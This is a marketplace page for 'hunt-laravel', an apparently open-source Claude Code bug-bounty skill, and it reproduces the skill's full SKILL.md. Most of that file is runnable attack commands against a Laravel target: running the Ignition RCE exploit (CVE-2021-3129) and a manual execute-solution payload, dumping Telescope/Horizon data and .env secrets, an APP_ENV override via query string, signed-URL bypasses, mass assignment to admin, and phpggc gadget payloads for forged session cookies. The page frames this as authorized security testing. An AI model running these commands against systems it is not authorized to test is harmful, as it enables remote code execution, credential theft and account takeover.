hunt-laravel — Claude Code security skill: checks and setup
The hunt-laravel skill guides security checks for Laravel apps, covering exposed dashboards, configuration leaks and signed URL flaws. Use it when reviewing a Laravel target you’re authorized to test.
MIT ★ 16,193 updated 2026-10-29
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsoulsWhat hunt-laravel does
hunt-laravel focuses on Laravel-specific risks: debug-mode exposure and Ignition RCE, open Telescope or Horizon dashboards, leaked .env files, and signed URL tampering. It also covers Eloquent mass assignment, cookie deserialization and environment changes triggered through query arguments.
The workflow starts by identifying Laravel through response headers, session cookies, familiar paths and error pages. Later checks probe specific routes and settings; the instructions use tools such as curl, grep and python3. The CVE-2021-3129 check depends on debug mode being enabled and storage/logs being writable. The exploit section names a separate tool, so testing should stay within systems you’re authorized to assess.
What it helps with
- identify Laravel from HTTP responses and common paths
- check whether Telescope or Horizon is exposed
- find
.env,APP_KEYand log-file leaks - test signed URL validation and Eloquent mass assignment
Example prompts for the agent
- Audit this Laravel target for vulnerabilities; I’m authorized to test it.
- Check whether its Telescope and Horizon dashboards are exposed.
- Look for
.envleaks and flaws in signed URL validation.
How to install hunt-laravel
1Plugin marketplace
/plugin marketplace add elementalsouls/Claude-BugHunter/plugin install claude-bughunter@elementalsoulsThis installs the whole claude-bughunter plugin with all its skills
2Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-laravel -a claude-code3Manually: put the files in place
~/.claude/skills/hunt-laravel/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/hunt-laravel/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-laravel -a codex2Manually: put the files in place
.agents/skills/hunt-laravel/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-laravel -a cursor2Manually: put the files in place
.cursor/skills/hunt-laravel/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install elementalsouls/Claude-BugHunter skills/hunt-laravel2Manually: put the files in place
.github/skills/hunt-laravel/SKILL.md1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-laravel -a gemini-cli2Platform CLI
gemini skills install https://github.com/elementalsouls/Claude-BugHunter --path skills/hunt-laravelManually: put the files in place
.devin/skills/hunt-laravel/SKILL.mdThe legacy .windsurf/skills/ path still works
Claude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about hunt-laravel
How do I install hunt-laravel in Claude Code?
Add the marketplace with /plugin marketplace add elementalsouls/Claude-BugHunter, then install the skill with /plugin install claude-bughunter@elementalsouls.
What does hunt-laravel check?
It guides checks for Laravel security issues, including exposed dashboards, configuration leaks, signed URL validation and Eloquent mass assignment.
What conditions does the CVE-2021-3129 check require?
The described check requires debug mode to be on and storage/logs to be writable. The exploit section also names ambionics/laravel-ignition-rce.
Source text
SKILL.md · MIT
---
name: hunt-laravel
description: Hunt Laravel specific vulnerabilities — Debug mode leakage (APP_DEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deserialization via cookies, .env file exposure. Use when target runs Laravel (PHP) — detected via X-Powered-By, Laravel session cookies, or /storage/ paths.
sources: hackerone_public, cve_database
report_count: 14
---
# HUNT-LARAVEL — Laravel Specific Vulnerabilities
## Crown Jewel Targets
Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
**Highest-value findings:**
- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
---
## Phase 1 — Fingerprint Laravel
```bash
# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
```
---
## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
```bash
# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}'
```
---
## Phase 3 — Laravel Telescope & Horizon
```bash
# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens
# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
```
---
## Phase 4 — .env File & APP_KEY Exposure
```bash
# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"
# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user
# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
```
---
## Phase 4b — Environment override via query args (CVE-2024-52301)
When `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`/`testing` config (debug on, seeded creds, weaker guards).
```bash
curl -s "https://$TARGET/?--env=local" # force debug/local config
curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
```
## Phase 5 — Signed URL Manipulation
```bash
# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="
# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"
# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"
# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"
```
---
## Phase 6 — Mass Assignment via Eloquent
```bash
# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests
# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
-H "Cookie: laravel_session=SESSION" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'
# Registration
curl -s -X POST "https://$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "[email protected]", "password": "test123", "verified": true, "admin": 1}'
```
---
## Phase 7 — Laravel Cookie Deserialization
```bash
# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains
# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64
# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
```
---
## Chain Table
| Laravel finding | Chain to | Impact |
|----------------|----------|--------|
| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
| Horizon accessible | Read failed job payloads | High - PII/token exfil |
| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
| Mass assignment | Set is_admin=true → privilege escalation | Critical |
---
## Validation
✅ Ignition RCE: `id` command output returned in response
✅ Telescope: API responses contain DB queries with credentials or user tokens
✅ APP_KEY: Forged session cookie accepted, returns another user's profile
✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges
**Severity:**
- Ignition RCE: Critical
- Telescope/Horizon with sensitive data: High
- .env with APP_KEY: Critical
- Mass assignment to admin: Critical
© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter